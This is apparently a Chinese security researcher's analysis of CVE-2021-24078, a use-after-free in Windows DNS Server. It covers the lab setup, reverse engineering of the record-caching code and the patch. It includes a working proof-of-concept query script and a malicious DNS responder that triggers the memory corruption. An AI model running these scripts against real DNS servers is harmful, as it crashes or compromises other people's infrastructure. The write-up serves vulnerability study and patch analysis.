CVE-2021-24078漏洞分析
漏洞复现证明截图
影响范围
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core inastallation)
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2012
Windows Server 2012 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 R2 (Server Core installation)
Windows Server 2016
Windows Server 2016 (Server Core installation)
Windows Server 2019
Windows Server 2019 (Server Core installation)
Windows Server version 1909 (Server Core installation)
Windows Server version 1903 (Server Core installation)
Windows Server version 2004 (Server Core installation)
漏洞分析
0x00 分析环境
名称 | 使用环境 |
---|---|
目标机 | Windows server 2012 R2 |
攻击机 | Ubuntu20.04 |
虚拟机 | VMware |
调试器 | WinDbg |
反汇编器 | IDA Pro |
漏洞软件 | Microsoft DNS Server |
抓包工具 | WireShark |
0x01 环境搭建
首先需要一个Windows server搭建DNS服务,教程在:https://www.jianshu.com/p/5038a95456b3,之后用nslookup来验证是否成功。
我们目前触发漏洞的整个流程是简化的,之前的流程如下面所述,但是呢,这其中的一些步骤不是必须的,还得申请域名服务器让根域名服务器知道我的地址,太麻烦了。
(1) 测试者向目标DNS服务器发起f0f0类型查询"9.xxx.evilp1n9.com"。
(2) 目标DNS服务器无法解析"9.xxx.evilp1n9.com",向上一级 DNS服务器(如8.8.8.8)发起递归查询。
(3) 得到的记录是一个测试者提前申请的ns记录。此记录的地址指向我们的恶意DNS服务器,意思是目标DNS服务器向我们的恶意DNS Server查询相关域名信息。
(4) 目标DNS服务器向恶意服务器发起第二次查询,直接向恶意服务器的ip地址发起查询。
(5) 此时测试机向目标DNS服务器发送f0f0类型的响应报文,触发类型混淆漏洞。
我们就把1,2,3三个步骤给省略了,我们直接在dns服务器中添加一个条件转发器即可,这样dns查询记录过来之后,直接就转发到恶意的DNS上面了。
0x02 复现漏洞
首先通过POC脚本来定位漏洞,首先使用windbg attach到DNS Server的进程上面,这样我们在漏洞触发的时候,就可以看到漏洞函数,我们首先运行POC脚本监听在恶意服务器的53端口,作为一些恶意DNS服务器,之后使用攻击脚本来对目标服务器发起查询,接着响应恶意报文给目标服务器,等待10s之后,TTL时间到了,清理超时Record,会造成UAF漏洞。
上面那个图也是从wireshark分析得来的
0x03 分析漏洞
前置知识
我们要想分析这个漏洞,就要懂基本的DNS协议构造和组成部分,这里由于篇幅原因,就不做阐述了,具体的学习可以到下面链接中去学习。
DNS报文格式解析:http://c.biancheng.net/view/6457.html
DNS同时使用TCP与UDP:https://www.cnblogs.com/wuyepeng/p/9835839.html
这里简要介绍一下DNS协议里的资源记录部分,下面三个部分的格式都是这样的,其中DNS Server会对一些查询到的域名记录进行缓存,DNS会申请空间对资源数据进行存储。
DNS Server会对响应报文的资源记录RR_Record
进行缓存,Windows DNS的域名信息缓存记录过程中,信息会被写入一个个RR_Record
中。RR_Record
的类型一般有20多种,下面只是列了其中几种。RR_Record
的类型在现实中用到了20多种,但是type
的范围是0~FFFF
,所以有很多类型没用到,微软就用了其中一个类型f0f0
,用来存储rcode为3,也就是名字错误,没有这个域名的记录,微软会用f0f0 Record
来存储这个name error
记录,以后再出现访问这个域名的请求,直接返回Name Error
,rcode标记为3。
动态分析与静态分析
由于我们做了补丁分析,可以知道漏洞函数大概就在dns!Wire_CreateRecordFromWire
,这个函数主要功能是对响应报文中的Record
记录进行缓存,会对ns Record
和SOA
等类型Record进行缓存,Answer
部分里的Record
一定会被缓存。
该函数dns!RR_DispatchFunctionForType
的功能主要是对输入的类型值找到对应的处理函数,这就意味着所有类型的Record都能找到处理函数,这也是造成类型混淆漏洞的关键。
正常不知道f0f0类型,很难看懂这个漏洞,我也是看不懂,不得从接受报文那里开始动态加静态分析,希望传过来的报文能够进入那个漏洞函数,其实一旦进入到那个漏洞函数之后,过一会儿之后RR_Free
清理的时候就会报错了。
下面是成功进入漏洞函数的截图,可以看到函数调用栈,刚开始我的测试报文只能停留在dns!Answer_ProcessMessage
,进不去下一层函数,这没办法了,只能手动调试了。
Answer_ProcessMessage分析
首先,分析void __fastcall Answer_ProcessMessage(__int64 meesage, int a2)
,因为opcode
为0时,是正常的普通查询,dns!Read_ScopeNameFromOptRR
函数会提前读取一遍所有的Record,看是否会发生错误,相当于在处理之前会有一个把关,结构大致是不是正确的,不正确就会返回了。dns!DnsRq_FindQueryByXid
函数会根据Transaction ID
进行查询是否对应的query报文,如果找到了继续处理,找不到就会调用Packet_Free
来进行free
。具体找的方法:
搜索算法:
数据结构就是:
长度为256的哈希表
XidArray[256 * 2];
flag = generateXidHashIndex(query_id, &hash_id)
/*
generateXidHashIndex实现
hash_id = query_id % 256;
*/
if(flag) exit(0)
//获取哈希表头
hash_addr = &g_RemoteXidHashArray + 16 * hash_id
/*
这里的结构很大,在message堆里,每个报文都会有一个堆,在堆里存相应的东西
*/
接下里就是在每个hash对应的双向链表里查找对应的query报文,插入和删除就是链表的那些正常操作,对了,还有就是query包插入的时候是头插入。
数据结构如下图:
如果能找到对应的query报文,后面会比对query报文的查询域名与响应报文的查询域名是否一致,这样才能正常返回,不会被丢弃。
当前面的包检查和id查询正确通过之后,就会根据查询的class
,决定你当前想要请求的服务,根据class来进行不同的处理,class == 1
会调用Recurse_ProcessResponse
,class==3
会调用Wins_ProcessResponse
,class==2
会进行Xfr_QueueSoaCheckResponse
,class==5
会调用Up_ForwardUpdateResponseToClient
,class==4
不会被处理。
那当然我们想进的是Recurse_ProcessResponse
函数。
那如果进来的query报文的时候,它是这么处理的,如果发现是反向查询,那么就会调用answerIQuery
函数进行答复,如果是正常查询继续处理,query_num
不为1,那么就会调用Reject_RequestIntact
拒绝请求。还有事这样进行版本查询。
这样子的请求会进行更新。opcode
为4时会进行soa检查。type
为0xF9
会进行域更新。
Recurse_CacheMessageResourceRecords分析
该函数会对四个部分里的所有的RR_Record进行处理。
当处理Answer部分的时候,会先判断当前响应包中的类型与qtype类型是否一致,不一致就导致返回结果码不同,但是不影响调用Wire_CreateRecordFromWire
来存储Record,说明这里会对所有的Answer里存储的Record进行存储的。只是会对一些特殊类型的Record进行特定判定处理,像sig类型和ptr类型等等。
当处理Authority时,会对小于等于0x32
,还有FFF1
的类型进行存储,还会进行一个取比特判定的操作,满足0x4C80000000044
的1
位,分别是0x2,0x6,0x2b,0x2e,0x2f,0x32
类型。
当处理Additional时,会对小于等于0x30
的类型并且还得满足位0x1420010000002
进行存储,相当于type num对应的二进制为1,可以进行存储。目前Additional进行存储的Record是0x1,0x1C,0x29,0x2e,0x30
。
当然上面的三个部分的分析仅是在我静态分析得出的结论,如果想验证,还需要用报文再进行测试一波。
这里会有一个特殊处理情况,就是rcode为3的,当rcode不是0和3时,这些包一概都会丢掉,也不会去遍历Record,0大家都知道就意味着没有错误,3意味着name error或者域名不存在,这个函数会对这样的response包进行特殊处理,会进入RR_CacheNonExistence
(处理rcode为3的情况,或者是域名查询没找到,但是Authority里有SOA的,也会建立新的Record进行返回)来存储,rcode
为3时,DNS Server
会新建一个Record
,类型为0xf0f0
,用来表示当前查询的域名是应该返回rcode为3,如果当前响应包里有SOA的Record,0x38
那里才会存放指针,否则那里是空的, 同时Authority
中的SOA也会跟随着返回。
该0xf0f0
类型在0x20,0x28,0x30和0x38都会存储一个Record指针,而v129_soa_about+0x10
一定存储的是SOA Record
指针。当rcode为3时,也不会对该域名所在域建立链表,像其他正常的,不是正常类型报文里的,不存在的,会在这里存储为Record,但需要一定的条件,我目前这些条件我还没盘清楚,这里rcode不为3就插入到RR_List中。
然而呢,我们已经知道了0xf0f0
类型的0x38是一个指针,但是其他正常类型的0x38直接存的是RR_data数据部分,是数据,而那里是指针,这就是造成这个漏洞的根本原因,因为Answer部分是没有类型限制的,都会进行存储,所以我们构造一个f0f0
类型的访问,恶意服务器返回一个f0f0
类型的答案时,就会调用Wire_CreateRecordFromWire
对该类型Record进行存储,这里的针对输入的f0f0
类型,会调用CopyWireRead
方法来处理。可以看到这里的0x38处的内容是我们可控的RR_data数据部分。
而且呢,这种RR里面存储指针的,Free的时候就要特殊处理,专门针对0x38处的Record_list进行删除,当TTL时间一到,删除的时候,他发现这里是f0f0
类型的Record或者flag低字节值小于0,就要进行删除,这样我们通过放在Answer里的Record就会被当成f0f0
释放,最后造成UAF,因为那一块内存是可控的。
问题:
- Wire_AddResourceRecordToMessage (为响应报文中写入rrcord中记录的信息)中,可以尝试进行反向混淆操作,如即将其它类型的rrcord混淆为Copyrrcord,造成信息泄漏?
- 分析:我们肯定想要信息泄漏是泄漏0x38位置处的堆指针,那么要想反混淆成功的话,我们是不是得保证存储的Record是正常进入
RR_CacheNonExistence
形成的Record,但是呢,就分为f0f0类型的和有soa但是进入该函数的Record,基本这里的类型就是f0f0,0x6或者一些其他函数调用产生的,那最后查询的时候,解析Record肯定会按RR_CacheNonExistence
形成的类型来解析(就像见到0xf0f0就知道是name error,就会从0x38取Record),因为这里的flag做了一个重要操作,flag |= 0x80
,要想反混淆成功,应该找一个不在0~0x32范围内的Record,我们可以控制的很少,感觉很难反混淆,具体再做实验确定一下,我是没成功,我感觉控制不了返回时候的type值。
- 分析:我们肯定想要信息泄漏是泄漏0x38位置处的堆指针,那么要想反混淆成功的话,我们是不是得保证存储的Record是正常进入
0x04 poc分析
攻击端首先对目标服务器进行f0f0
类型报文查询,恶意服务器会将对应的f0f0
类型的响应报文返回给目标服务器,等待10s过后,当存储的Record
过期之后,再次查询, 将Record
插入Record list
的函数dns!RR_CacheRecordSet
会顺便检查超时,如果超时了,会调用RR_Free掉改Record。
import socket
import os
import binascii
import time
import argparse
import random
import string
# 无需connect服务端,因为发送时候跟上服务端ip和port就行
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
def domain_compress(domain):
domain_split = [chr(len(i)) + i for i in domain.split(".")]
domain_compressed = "".join(domain_split) + "\x00"
return bytes(domain_compressed, encoding = "utf8")
def sleepz(secs):
slept = 0
while slept <= secs:
if((slept % 5) == 0) or (slept == secs):
print(slept, end='', flush=True)
else:
print('.', end='', flush=True)
time.sleep(1)
slept += 1
print('')
def genRandom(num, slen):
unique_strings = []
while len(unique_strings) < num:
ustring = ''.join(random.choice(string.ascii_lowercase + string.ascii_lowercase + string.digits) for i in range(slen))
if ustring not in unique_strings:
unique_strings.append(ustring)
return unique_strings
def dnsquery(domain, ip, qtype):
query = os.urandom(2)
query += b'\x01\x00' # Flags: query + Truncated + Recursion Desired + Recursion Available
query += b'\x00\x01' # Questions
query += b'\x00\x00' # Answer RRs
query += b'\x00\x00' # Authority RRs
query += b'\x00\x00'# Additional RRs
# Queries
query += domain_compress(domain) # Name
query += qtype # Type: NS
query += b'\x00\x01'# Class: IN
client.sendto(query, (ip, 53))
data, server_addr = client.recvfrom(1024)
print(data)
def main():
parser = argparse.ArgumentParser()
parser.add_argument('-ip', help='ip address of victim Windows DNS server', required=True)
parser.add_argument('-d', '--domain', help='malicious domain name', required=True)
args = parser.parse_args()
if len(args.domain) > 15:
print('Domain length must be 15 characters or less')
os._exit(0)
unique_strings = genRandom(28, 3)
domain = '9.' + unique_strings[random.randint(0,27)] + '.' + args.domain
ip = args.ip
#触发漏洞使用f0f0类型
#生成真正的f0f0类型报文,使用除了02和f0f0之外的其他类型都可以
qtype = b'\xf0\xf0' #b'\xf0\xf0'
dnsquery(domain, ip, qtype)
sleepz(10)
#触发漏洞,当free的时候,会free掉一块内存,造成UAF
dnsquery(domain, ip, qtype)
if __name__ == '__main__':
main()
恶意服务器会针对请求的报文类型,返回对应的响应报文。
import os
import socket
import struct
import threading
def done(sock):
try:
sock.shutdown(socket.SHUT_RDWR)
sock.close()
except Exception as e:
pass
# The UDP server is contacted first
def udp_server():
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_address = '0.0.0.0'
server_port = 53
sock.bind((server_address, server_port))
while True:
try:
recvd, client_address = sock.recvfrom(65535)
# Find compressed domain name '9.'
domain_start = recvd.find(b'\x01\x39') + 2
domain_end = recvd.find(b'\x00', domain_start)
requested_domain = recvd[domain_start:domain_end + 1]
qtype = recvd[domain_end + 1:domain_end + 3]
print(requested_domain)
if qtype == b'\xf0\xf0':
response = b'\x81\x80' # Flags: Response + Recursion Desired + Recursion Available
response += b'\x00\x01' # Questions
response += b'\x00\x01' # Answer RRs
response += b'\x00\x00' # Authority RRs
response += b'\x00\x00'# Additional RRs
# Queries
response += b'\x019' + requested_domain # Name
response += b'\xf0\xf0' # Type: NS
response += b'\x00\x01'# Class: IN
# Answers
response += b'\xC0\x0C' # Compressed pointer to domain
response += b'\xf0\xf0' # Type: NS
response += b'\x00\x01'# Class: IN
if requested_domain[0] == b'\x04':
response += b'\x00\x20\x00\x00' # 大的TTL
else:
response += b'\x00\x00\x00\x10' # TTL
data = b'\xff' * 8 # 这里可以用一个8字节的指针,造成UAF(可利用堆喷到某一个地址或者信息泄露堆地址),可能会到导致一系列的UAF,因为是ListFree
response += struct.pack('>H', len(data)) # Data Length
if len(recvd) > 2:
sent = sock.sendto(recvd[:2] + response + data, client_address)
elif qtype == b'\x00\x02':
response = b'\x81\x80' # Flags: Response + Recursion Desired + Recursion Available
response += b'\x00\x01' # Questions
response += b'\x00\x01' # Answer RRs
response += b'\x00\x00' # Authority RRs
response += b'\x00\x00'# Additional RRs
# Queries
response += b'\x019' + requested_domain # Name
response += b'\x00\x02' # Type: NS
response += b'\x00\x01'# Class: IN
# Answers
response += b'\xC0\x0C' # Compressed pointer to domain
response += b'\x00\x02' # Type: NS
response += b'\x00\x01'# Class: IN
response += b'\x00\x00\x00\x10' # TTL
data = b'\x03ns1\xC0\x12' # ns1 + pointer to domain
response += struct.pack('>H', len(data)) # Data Length
if len(recvd) > 2:
sent = sock.sendto(recvd[:2] + response + data, client_address)
else:
response = b"\x81\x83" # Flags: Response + Truncated + Recursion Desired + Recursion Available
response += b"\x00\x01" # Questions
response += b"\x00\x01" # Answer RRs
response += b"\x00\x00" # Authority RRs
response += b"\x00\x00" # Additional RRs
# Queries
response += b"\x019" + requested_domain # Name
response += qtype # Type: SIG
response += b"\x00\x01" # Class: IN
# Data
data = b"\x03ns1\xc0\x12" # ns1 + pointer to 4.ibrokethe.net
data += b"\x03ms1\xc0\x12" # ms1 + pointer to 4.ibrokethe.net
data += b"\x0b\xff\xb4\x5f" # Serial Number
data += b"\x00\x00\x0e\x10" # Refresh Interval
data += b"\x00\x00\x2a\x30" # Response Interval
data += b"\x00\x01\x51\x80" # Expiration Limit
data += b"\x00\x20\x00\x00" # Minimum TTL
# Authoritative Nameservers
response += b"\xc0\x0c" # Compressed pointer to "4.ibrokethe.net"
response += b"\x00\x06" # Type: SOA
response += b"\x00\x01" # Class: IN
response += b"\x00\x20\x00\x00" # TTL
response += struct.pack('>H', len(data))# Data Length
if len(recvd) > 2:
sent = sock.sendto(recvd[:2] + response + data, client_address)
except Exception as e:
pass
done(sock)
def main():
global stop_server
stop_server = False
os.system('systemctl stop systemd-resolved')
# Sets up one server on UDP port 53
udp_server()
os.system('systemctl start systemd-resolved')
os._exit(0)
if __name__ == '__main__':
main()
0x05 补丁分析
到微软更新里下载这个CVE对应的安全更新,拿到补丁文件后,使用以下命令提取出补丁文件
expand -F:* filename.msu DirName
,解压补丁包后,进入解压目录expand -F:* [FileName.cab](http://filename.cab) DirName
将DNS Server软件提取出来,与之前的软件的漏洞函数进行对比。
发现只有一个函数做了修改patch。
添加了如下内容,做了一个判定,以后f0f0
类型的报文再也进不来了,因为f0f0
本来就是DNS Server针对Name Error的报文进行存储的,是DNS Server比较特别的Record。
0x06 遇到的问题
- 刚开始用代码模拟通信的时候,发现一直在包处理的前面,包就被扔了,一直进不到我想要的函数里面,没办法,只能逆向知道函数的作用,然后修改代码了,就这样经历漫长且枯燥的时间,才找到如何进去的方法。
- 包被free的原因:
- 查询包域名query_domain与响应包query_domain一致
- 查询域名的类型要和响应包的answer的type要一致
- 一些flag的标志也会影响到程序的执行流
- 包被free的原因:
总结
我感觉这个漏洞是从源码审计的角度来看,不太好挖,但是如何对所有0~FFFF类型的报文交互试一遍,应该就能看到报错了,这次根据一篇freebuf文章来写poc,主要是这篇文章比较难懂,如果不是对这个DNS Server比较了解,真的看不懂这篇文章,逆了好几个函数才懂了作者意思。未经身份验证的攻击者可通过向目标 DNS 服务器查询并响应 f0f0
请求来利用此漏洞,成功利用此漏洞的远程攻击者可在目标系统上以 SYSTEM 账户权限执行任意代码。
对于这个UAF漏洞,我目前还不是很有想法, 只有free是远远不够的,必须有修改操作,或者内存布局操作,如果能找到可以对Record或者其他数据结构进行更新,那这个洞的作用就显示出来了,但是我没找到,而且后面的利用光一个UAF我感觉是不够的,如果能通过UAF造成堆溢出再进行内存布局,就基本稳了。